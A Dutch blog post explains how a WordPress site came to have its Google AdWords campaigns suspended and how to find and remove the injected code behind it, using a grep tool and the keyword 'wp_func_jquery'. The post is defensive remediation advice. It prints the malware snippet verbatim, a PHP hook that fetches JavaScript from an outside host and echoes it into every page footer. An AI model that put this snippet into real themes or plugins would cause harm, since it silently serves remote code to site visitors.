Wat indien je adwords campagne wordt opgeschort in verband met -onvindbare- malware?
Het Internet is één grote jungle… en ‘veilig’ op het Internet is een illusie. Dat neemt niet weg, dat we ondanks dat alles toch de nodige beschermingsmaatregelen moeten nemen. Eén belangrijke maatregel is natuurlijk het zorgen dat je een betrouwbare en veilige hoster hebt. Een andere maatregel is dat je regelmatig back-ups maakt… en een derde maatregel is dat je regelmatig je site scant op ‘known malware’. En zelfs dan ben je je digitale bestaan nog niet zeker!
Zoals bijvoorbeeld in de volgende situatie. Een klant van mij nam contact op, omdat hij van Google AdWords te horen had gekregen, dat zijn campagnes op AdWords stop waren gezet in verband met ontdekte malware. Bij het doorzoeken van zijn site via diverse scan-engines, inclusief Googles eigen engine was er echter niets te vinden.
Wat Google als malware meende te ontdekken was www punt 71wp punt org slash jquery punt min punt js . Bij het -herhaaldelijk- controleren van de site bleek er echter niets te vinden. Wat was hier aan de hand?
In diverse fora ontdekte ik, dat alle mensen die dit ‘code probleem’ hadden gebruik maakten van de WordFence beveiligings (notabene!) plugin. Of hier een causale relatie bestaat durf ik niet te zeggen, maar het geeft mij wel te denken.
Op de één of andere manier was code die lijkt op onderstaande code terecht gekomen in een belangrijk bestand van een plugin of thema (meestal de functions.php, theme_functions.php, custom_functions.php etc). Die code zag er ongeveer als volgt uit :
if(!function_exists('wp_func_jquery')) { function wp_func_jquery() { $host = 'http://'; echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js'))); } add_action('wp_footer', 'wp_func_jquery'); }
Dit codefragment (of iets wat hier op lijkt) hoort niet thuis in de PHP code van WordPress.
Maar hoe kom je er achter of deze code inderdaad voorkomt? Het ‘sleutelwoord’ hierbij is ‘wp_func_jquery’. Je kunt er bijna gif op innemen, dat als deze term voorkomt in je code er iets ‘fout’ is.
Hoe kom je hier makkelijk achter
Het zoeken op de inhoud van bestanden bij je hoster is meestal niet eenvoudig, tenzij je directe toegang tot de ‘Linux prompt’ hebt en je voldoende van linux weet om hier wat mee te kunnen. Behoort dit niet tot je mogelijkheden is het best wat je kunt doen:
- Download alle sourcecode van je website naar je lokale computer.
- Download een ‘grep’ programma zoals bijvoorbeeld AstroGrep. Hiermee kun je makkelijk en snel de inhoud van bestanden doorzoeken.
- Vul het formulier in als hiernaast, waarbij je natuurlijk de map voor jouw installatie van WordPress aanpast aan de locatie waar de bestanden daadwerkelijk staan op je harddisk
- Doorzoek de schijf.
- Verwijder de ‘besmette code’ en upload de aangepaste bestanden opnieuw naar je server.
Hoe kun je dit voorkomen?
Eerlijk antwoord? Geen idee. Op dit moment is het op allerlei manieren nog steeds onduidelijk wat de oorzaak van het toevoegen van deze code is. Op dit moment wordt de ‘Security Scan’ van het WordXPression Service Contract uitgebreid met een scan voor het vinden van deze malware. Maar ’tijdig detecteren’ is -hoe belangrijk ook- niet gelijk aan ‘voorkomen’. Mocht je echter via Google AdWords te horen krijgen, dat je campagnes vanwege deze malware zijn gestopt, weet je in ieder geval hoe je de code weer van je site kunt verwijderen.